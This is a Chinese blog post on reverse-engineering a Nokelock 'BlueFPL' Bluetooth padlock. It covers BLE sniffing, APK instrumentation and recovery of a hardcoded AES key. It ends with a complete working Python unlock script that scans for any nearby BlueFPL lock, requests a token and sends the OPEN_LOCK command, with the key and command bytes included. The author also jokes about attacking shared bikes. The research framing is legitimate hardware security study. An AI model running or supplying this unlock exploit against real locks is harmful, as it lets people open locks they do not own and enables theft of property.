关于Nokelock蓝牙锁破解分析

前言

今年西湖论剑的时候是一个蓝牙题都没做出来，之前复现xuanxuan师傅出的THUCTF硬件题的蓝牙部分也没完全弄懂，于是下定决心通过几个设备来研究研究。

刚学pwn的时候，对宿舍楼下的小蓝车就有所“垂涎”，一直在思考如何打（太可刑了）。

经过给小蓝车app投资数次1.5米巨资过后，作为名义上的股东，我大概弄清楚了小蓝车的锁应该也是蓝牙的（因为每次连它都让我开蓝牙233）。

为了避免下半辈子只能在几平米的空间活动，我在某鱼上淘到了一款蓝牙锁作为小蓝车的平替。

这里简单记录一下研究的过程。

nRF蓝牙抓包

首先需要解决的问题是获取蓝牙锁的MAC地址，因为最后我们需要使用gatttool（后面会提到这个工具）直接通过MAC地址与蓝牙锁交互。

比较好用的是nRF这个软件（苹果手机可以用lightblue），能够直接扫描查看周围的蓝牙设备。

但如果直接在生活区进行抓包干扰因素非常多：

于是我们跑到一个没有其它设备的地方轻触指纹区域，当亮起红光的时候：

在nRF上就能看到设备名和MAC地址了：

可以看出设备名为BlueFPL，MAC地址为F0:45:DA:AA:F4:36。

蓝牙扫描

初步扫描

通过树莓派+蓝牙适配器的组合

环境搭建详见：[原创]基于树莓派的蓝牙调试环境搭建-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

https://bbs.kanxue.com/thread-276615.htm

使用bluetoothctl的scan on功能，就能扫描出设备：

表示我们的蓝牙调试环境没有问题。

使用gatttool尝试连接并使用primary看查所有service：

然后通过characteristics命令看查所有的特性：

其中handle是特性的句柄，char properties是特性的属性值，char value handle是特性值的句柄，uuid是特性的标识。

虽然扫描出了service和characteristics，但我们还不能直观的知道这些服务是用来干什么的，而且也没法将特性和服务配对。

下面我们使用bettercap这一个强大的工具中的"ble.recon"模块，进行深入的扫描和理解。

深入扫描

githu仓库：https://github.com/bettercap/bettercap

个人认为仓库给出的安装教程非常的模糊，很多东西都没有说清楚，所以这里简单讲讲我是怎么安装的。

环境：ubuntu或树莓派4b 安装：

（1）首先需要安装go环境：

sudo apt install golang-go

（2）go“换源”：

echo "export GOPROXY=https://goproxy.io,direct" >> ~/.profile && source ~/.profile

（3）安装依赖：

sudo apt install build-essential libpcap-dev libusb-1.0-0-dev libnetfilter-queue-dev libssl-dev libnl-3-dev libnl-genl-3-dev pkg-config

（4）安装软件包：

git clone https://github.com/bettercap/bettercap.git
cd bettercap
make build
sudo make install

然后输入如下命令就能够使用低功耗蓝牙功能了：

sudo bettercap
ble.recon on

具体的用法可以参考官方手册：https://www.bettercap.org/modules/ble/

对于我们刚才提到的需要，使用ble.enum就好啦：

可以发现，通过ble.enum，能够形象地看出service所属的characteristics以及它们的属性。

接下来我们就可以通过蓝牙嗅探，看看在开锁的过程中涉及的服务和特征。

蓝牙抓包

初步扫描

通过ubertooth one，我们嗅探到了如下的蓝牙数据：

可以看出大致分为"Write Request"和"Handle Value Notification"两类，我们各点开一个看看。

"Write Request"：

"Handle Value Notification"：

可以发现它们的handle分别是0x3和0x6，分别对应的是前面bettercap里获取的UUID为36f5和36f6的特征，十分合理。

于是以后的抓包我们可以给出如下过滤（上面那张图片这么规整已经是过滤过后了的）：

(btatt.opcode == "Handle Value Notification" && btatt.handle == 0x6 ) || (btatt.opcode == "Write Request" && btatt.handle == 0x3)

多次尝试抓包，发现value的值差别很大，猜测有所加密 那么下一步就要从安卓逆向的角度分析app里的加密模式和密钥了。

思路二：从BUG日志中获取蓝牙HCI日志

实际上可能会出现很难抓到包的情况，所以这里提供第二种思路供大家尝试：

嗅探是中间信道，很可能会受到干扰，于是我们尝试从手机的蓝牙日志里直接获取和锁的通信。

首先需要打开开发人员选项，一般的手机都是在"关于本机"的位置点击多次版本号就可打开。

进入开发人员选项后，开启"蓝牙HCI信息收集日志"。

然后我们需要使用"adb"这个调试工具，连上手机，然后dump下BUG日志。

解压这个zip文件，在解压目录下会生成同名的一个txt文件：

把它拖到Ubuntu里面（不知道为啥，在我的windows上会有问题），然后下载一个叫btsnooz.py的脚本并把它放在和这个文本文件同目录下，执行如下命令：

LC_CTYPE=C sed -n "/BEGIN:BTSNOOP_LOG_SUMMARY/,/END:BTSNOOP_LOG_SUMMARY/p " bugreport-ASK-AL00x-HONORASK-AL00x-2023-04-03-08-31-01.txt | egrep -av "BTSNOOP_LOG_SUMMARY" | python btsnooz.py > hci.log

（ps：为什么命令会和官方的教程有点不太一样，因为产生了如下的报错和解决办法）

然后就得到了能够用wireshark查看的蓝牙日志"hci.log"了:

可以看到效果非常好，但是在笔者的手机上的数据会有一个问题，就是value显示不全：

不知道是不是脚本对数据包有所切割，反正就感觉很离谱。

而且这种方法对我平时用的手机也不生效，甚至不能产生hci.log文件。

app逆向分析（初步）

将apk拖进JEB中，然后在Bytecode层级的com.nokelock.blelibrary.b.b里面能找到加密和解密的地方：

差别就是Ciper.init()的第一个参数，询问一下chatgpt：

观察类中的这两个方法，都涉及两个byte数组参数arg2，arg3：

arg2对应的是密文/明文，arg3对应的是密钥。

具体的用Ciper类加密可以参考这一篇文章：Java使用Cipher类实现加密，包括DES，DES3，AES和RSA加密 - 蔡昭凯 - 博客园 (cnblogs.com)

https://www.cnblogs.com/caizhaokai/p/10944667.html

经过上面的分析，我们知道了加密算法是AES而且是ECB模式无padding，但是还不知道密钥和密钥长度。

接下来我们尝试在apk里进行插桩，目的是打印密文/明文，密钥来分析实际上开锁的时候在apk中的数据。

app插桩

插桩过程

实际上插桩这步是劳烦oacia爷帮我做的，教程同步到了他的文章：[原创]对某apk的一次插桩记录-Android安全-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)

https://bbs.kanxue.com/thread-276708.htm

写的非常好，这里就不再班门弄斧了。

可能唯一没太讲清楚会遇到问题的是，使用他给的smali进行插桩会和github上的项目会有一点点差别：

invoke-static {p0}, LSewellDinGLog;->Log([B)V

在最后插桩的时候，这里从object变成B类（字节数组）了，如果还是使用object类会有问题。

因为我们重写的java源码是对字节数组进行的操作，可以参考原来的apk里类似对字节数组的操作的smali代码：

然后还有一个神奇的问题，就是在笔者的电脑上使用回编译过后的apk，会缺少签名、主SDK等等东西：

这种APK在我的手机上安装不了，但雷电模拟器能装（但先要使用这个工具对回编译的APK进行签名）。

于是我把雷电模拟器里的apk导出来，它的这些东西又变正常了：

非常神奇，然后顺利成章的我的手机也能装了。

插桩打印信息分析

通过adb工具，我们能够连接安卓设备并且执行一些命令。

这里我们通过adb logcat命令来搜索SewellDinG查看插桩打印的信息：

F:\platform-tools>adb logcat -s SewellDinG
--------- beginning of main
03-27 17:18:08.895 31117 31117 D SewellDinG: 05010630303030303082E3C89616017D
03-27 17:18:08.895 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:08.895 31117 31117 D SewellDinG: 6629B62C88A7E50525E92C328AF258E6
03-27 17:18:10.114 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:10.114 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:10.114 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:11.770 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:11.771 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:11.772 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000
03-27 17:18:37.864 31117 31117 D SewellDinG: 05010630303030303082E3C89601635C
03-27 17:18:37.864 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:37.864 31117 31117 D SewellDinG: 3FFA9BE0BA05D2ECC8CF74D2CDB7867C
03-27 17:18:39.263 31117 31117 D SewellDinG: 732F5CB22C06B0C2D0D17AD31D165805
03-27 17:18:39.263 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:39.263 31117 31117 D SewellDinG: 05020100E3C896010202000000000000
03-27 17:18:40.923 31117 31117 D SewellDinG: 530B1FCA1467A408A321E71F3D152127
03-27 17:18:40.923 31117 31117 D SewellDinG: 241F632E5907042061014C1A3A45193B
03-27 17:18:40.924 31117 31117 D SewellDinG: 050D0100E3C896010202000000000000

解密

在插桩打印的信息中有两个点值得我们注意：

（1）"241F632E5907042061014C1A3A45193B"这个字符串一直在重复，且一直处于一组数据的中部。

（2）出现了以"050D"、"0502"、"0501"开头的后面不大一样的疑似有规律的数据。

根据我们的插桩，一直处于中部的数据只可能是密钥，那么"241F632E5907042061014C1A3A45193B"就是密钥的某种形式。通过密钥创建的方法"SecretKeySpec"的参数类型可以看出，这是密钥的16进制字符串表示：

对chatgpt输入如下指令即可自动生成解密脚本：

请用python实现一个密钥的16进制字符表示形式是241F632E5907042061014C1A3A45193B的ECB模式无padding的AES-128解密程序，并以16进制字符串的形式输出打印明文

解密脚本：

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
# 转换输入的16进制字符串为字节串
key_hex = "241F632E5907042061014C1A3A45193B"
key = binascii.unhexlify(key_hex)
#key = b"[B@7ef20235"
# 创建 AES 密钥
if len(key) == 16:  # 128 bit
    algorithm = algorithms.AES(key)
else:
    raise ValueError("Invalid key size")
# 创建解密器
backend = default_backend()
cipher = Cipher(algorithm, modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
# 解密密文
#iv = "a20e10ec8ebfd6069c1f84a9cff39e33"
iv = "51653e25e098f5e74e0f152062ee6d5d"
encrypted_data = binascii.unhexlify(iv)
decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
# 打印解密结果
print(binascii.hexlify(decrypted_data))

运行结果：

对我们之前的wireshark里的数据都进行解密，然后把结果用XLS表示出来：

在app里的com.nokelock.blelibrary.mode.order可以发现和"Write Request"解密出来的头4个字符有关的enum：

添加到表格中：

发现有一个特别令我们欣喜的东西——"OPEN_LOCK"

是否意味着我们把这个value的值通过蓝牙工具发到锁中锁就开了？

答案是否定的，这个value以及它解出来的text是会变的，这一点比照前面adb打印插桩的同样的"0501"开头的数据就知道。所以我们还需要知道怎么获得这个"变"的东西。

值得注意的是，同样在这个地方有个"GET_TOKEN"字样：

猜测变化的值和这里有关。

至于有没有和"Handle Value Notification"有关的类似的enum，在com.nokelock.blelibrary.mode.a里找到了这个：

不难看出，这里的代码应该是app接收到蓝牙锁返回的"Handle Value Notification"的value，将它解密过后根据前4个字符去执行对应的功能。而且根据"0202"这个分支里的具体内容已经能大致猜测这里响应的内容是什么了——电池电量，因为有个（v1<=100）的判断，然后对v3这个bool变量赋值判断是否合法。

再结合之前的"0201"为"GET_BATTERY"，一切的说法都看上去合理了起来，我们甚至已经能根据前面的数据，推测响应的时候电池电量为54

但这个说法还有待验证，以及我们还不知道"v0.a()"执行了什么操作，于是需要更深入的逆向。

app逆向（深入）

对于说法的验证

首先为了验证前面"发送过后获取响应"的说法，逆向到了com.nokelock.blelibrary.BLEService：

看到了熟悉的两个UUID，以及它们对应的Characteristic变量。

在下面能找到分别对这两个Characteristic的操作：

从这里就已经能看出在蓝牙通信的时候，app往UUID36f5写入请求信息，然后蓝牙锁通过UUID36f6进行响应。

探究v0的操作

v0一开始是在这里定义的：

这个com.nokelock.blelibrary.a.a是一个抽象接口：

以v0.a()为例，如果我们想看它具体是怎么实现的，在JEB里点击"a"就能直接查看了：

进入红框的部分就能看到具体的实现了：

可以看到这里有个电池电量低于20就会打印"电量不足"的字样，和使用app时候的情况一致。

猜测对于"GET_TOKEN"的响应也在这里面，但是不好直接找出TOKEN的值

于是我们去找"OPEN_LOCK"的地方，因为那里大概率会有响应的"TOKEN"。

探究"OPEN_LOCK"写入了什么

在jadx里查找"OPEN_LOCK"这个字符串，定位到了这个地方：

红框部分通过对"SET_B_ARRAY"的逆向，可以得到是：

(0x6,0x30,0x30,0x30,0x30,0x30,0x30)

对应了OPEN_LOCK解密的部分数据:06303030303030

其余数据能够在父类TX_Order里看出来：

蓝色部分是0501，绿色部分是刚才的那块数据，红色部分应该是Token，剩下的黄色部分使用随机数进行填充。

响应的TOKEN

分析com.nokelock.blelibrary.b.d.a().b()：

最后返回的其实是这里的字符数组：

"c2 == 0"对应的是它上面的一个地方：

结合之前的分析，就能知道GET_TOKEN的响应头应该是"0602"了 那么接下来唯一需要解决的是发送的GET_TOKEN请求长什么样子了。

如何GET_TOKEN

同样通过查找字符串的手段，我们可以定位到这里：

和"OPEN_LOCK"不一样的地方就是它重写了a()这个方法，可以很容易分析出响应头为"06010101"。

剩下的数据都是为了方便最后的加密进行的随机数的填充。

那么发送未加密前是"06010101000000000000000000000000"的数据就能成功获取TOKEN的值。

发送数据尝试开锁

通过上面有点长的分析，我们弄清楚了开锁的重要流程（关于获取电量这些无关紧要的在此不考虑）：

（1）APP发送GET_TOKEN请求，锁返回TOKEN

（2）APP根据锁返回的TOKEN，执行开锁命令

接下来我们通过Bluepy这个python的蓝牙模块尝试发包开锁

安装Bluepy

github网址：IanHarvey/bluepy: Python interface to Bluetooth LE on Linux (github.com)

https://github.com/IanHarvey/bluepy

安装依赖（使用python3环境）：

sudo apt-get install python3-pip libglib2.0-dev

安装模块：

sudo pip3 install bluepy

如果上面两步失败，可以尝试从源码进行安装：

sudo apt-get install git build-essential libglib2.0-dev
git clone https://github.com/IanHarvey/bluepy.git
cd bluepy
python setup.py build
sudo python setup.py install

Bluepy的基本使用

官方手册：bluepy - a Bluetooth LE interface for Python — bluepy 0.9.11 documentation (ianharvey.github.io)

http://ianharvey.github.io/bluepy-doc/

Bluepy这个模块采用了面向对象编程的思想，在具体操作的时候对设备、服务等等都抽象成了对象以便于操作。

扫描

通过Scanner生成一个对象进行扫描：

scanner = Scanner()
devices = scanner.scan(timeout=3)
print("%-30s %-10s" % ("Name", "Address"))
for dev in devices:
        print("%-30s %-20s" % (dev.getValueText(9), dev.addr))

建立连接

通过Peripheral函数建立连接

addr = ""
conn = Peripheral(addr)

获取Service

services = conn.getServices() 
for svc in services:
    print(svc.uuid)

获取Service

# 1. 获取所有 Characteristic
characteristics = conn.getCharacteristics()
for charac in characteristics:   
    print(charac.uuid)
# 2. 获取特定 Service 下的 Characteristic
characteristics = svc.getCharacteristics()

读写Characteristic

charac.read()             
charac.write()

尝试开锁

订阅Notification

经过分析，我们知道36f6这个characteristic的属性是notify。

对于notify属性的characteristic，没办法直接读和直接写，需要先向UUID为"0x2902"的descriptor写入"1"进行订阅才能获取所有notify属性的characteristic的响应。

另外，我们写一个类来获取响应的handle和value：

class NotifyDelegate(DefaultDelegate):
    def __init__(self,params):
        DefaultDelegate.__init__(self)
    def handleNotification(self,cHandle,data):
        global TOKEN
        print("Notification from Handle: 0x" + format(cHandle,"02X"))
        TOKEN = decrypt(binascii.hexlify(data))
        print(TOKEN)

获取token

通过等待响应即可获取token：

    
while True:
        if conn.waitForNotifications(1.0):
            break
        print("Wating....")
        TX_CHAR.write(binascii.unhexlify(encrypt(pd)))

发包开锁

对36f5写入发包数据即可开锁:

    pd = b"050106303030303030"+TOKEN+b"000000"
    TX_CHAR.write(binascii.unhexlify(encrypt(pd)))

完整代码

from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.ciphers import Cipher
from cryptography.hazmat.primitives.ciphers.algorithms import AES
from cryptography.hazmat.primitives.ciphers.modes import ECB
from cryptography.hazmat.backends import default_backend
import binascii
from bluepy.btle import Scanner,Peripheral,DefaultDelegate
KEY = "241F632E5907042061014C1A3A45193B"
TOKEN = ""
class NotifyDelegate(DefaultDelegate):
    def __init__(self,params):
        DefaultDelegate.__init__(self)
    def handleNotification(self,cHandle,data):
        global TOKEN
        print("Notification from Handle: 0x" + format(cHandle,"02X"))
        TOKEN = decrypt(binascii.hexlify(data))
        print(TOKEN)
def decrypt(plaintext):
    key = binascii.unhexlify(KEY)
    # 创建 AES 密钥
    if len(key) == 16:  # 128 bit
        algorithm = algorithms.AES(key)
    else:
        raise ValueError("Invalid key size")
    # 创建解密器
    backend = default_backend()
    cipher = Cipher(algorithm, modes.ECB(), backend=backend)
    decryptor = cipher.decryptor()
    # 解密密文
    encrypted_data = binascii.unhexlify(plaintext)
    decrypted_data = decryptor.update(encrypted_data) + decryptor.finalize()
    # 解密结果
    return binascii.hexlify(decrypted_data)
def encrypt(plaintext):
    # 将密钥从16进制字符串转换为字节数组
    key = binascii.unhexlify(KEY)
    # 创建AES加密器对象
    backend = default_backend()
    algorithm = algorithms.AES(key)
    cipher = Cipher(algorithm, modes.ECB(), backend=backend)
    encryptor = cipher.encryptor()
    # 对明文进行加密
    decrypted_data = binascii.unhexlify(plaintext)
    encrypted_data = encryptor.update(decrypted_data) + encryptor.finalize()
    # 将密文转换为16进制字符串返回
    return binascii.hexlify(encrypted_data)
def done(addr):
    global TOKEN
    print("[+]Find BlueFPL")
    print("[+]Try Connecting.....")
    conn = Peripheral(addr)
    if conn:
        print("[+]Connecting successfully!")
        conn.withDelegate(NotifyDelegate(conn))
    else:
        print("[+]Fail to connet")
        exit(1)
    print("[+]Try find fee7")
    svc_uuid = "0000fee7-0000-1000-8000-00805f9b34fb"
    svc = conn.getServiceByUUID(svc_uuid)
    if svc :
        print("[+]Found fee7!")
    else :
        print("[+]fee7 not found")
        exit(1)
    print(svc.uuid)
    TX_CHAR = conn.getCharacteristics(uuid = "000036f5-0000-1000-8000-00805f9b34fb")[0]
    RX_CHAR = conn.getCharacteristics(uuid = "000036f6-0000-1000-8000-00805f9b34fb")[0]
    print("[+]Try GET_TOKEN")
    pd = "06010101000000000000000000000000"
    hEcg = RX_CHAR.getHandle()
    hEcgcc = 0
    for descriptor in conn.getDescriptors(hEcg,svc.hndEnd):
        if (descriptor.uuid == 0x2902):
            print("[+]Found descriptor handle")
            hEcgcc = descriptor.handle
    if hEcgcc == 0:
        print("Fail to find descriptor handle")
        exit(1)
    print("[+]Descriptor handle:"+str(hEcgcc))
    conn.writeCharacteristic(hEcgcc,bytes([1,0]))
    while True:
        if conn.waitForNotifications(1.0):
            break
        print("Wating....")
        TX_CHAR.write(binascii.unhexlify(encrypt(pd)))    
    TOKEN = TOKEN[6:14]
    print(b"[+]TOKEN:"+TOKEN)
    print("[+]Try OPEN_LOCK")
    pd = b"050106303030303030"+TOKEN+b"000000"
    TX_CHAR.write(binascii.unhexlify(encrypt(pd)))    
    print("[+]Open successfully!")
    conn.disconnect()
if __name__ == "__main__":
    scanner = Scanner()
    devices = scanner.scan(timeout = 3)
    for dev in devices:
        if dev.getValueText(9) and ("BlueFPL" in dev.getValueText(9)):
            done(dev.addr)

执行效果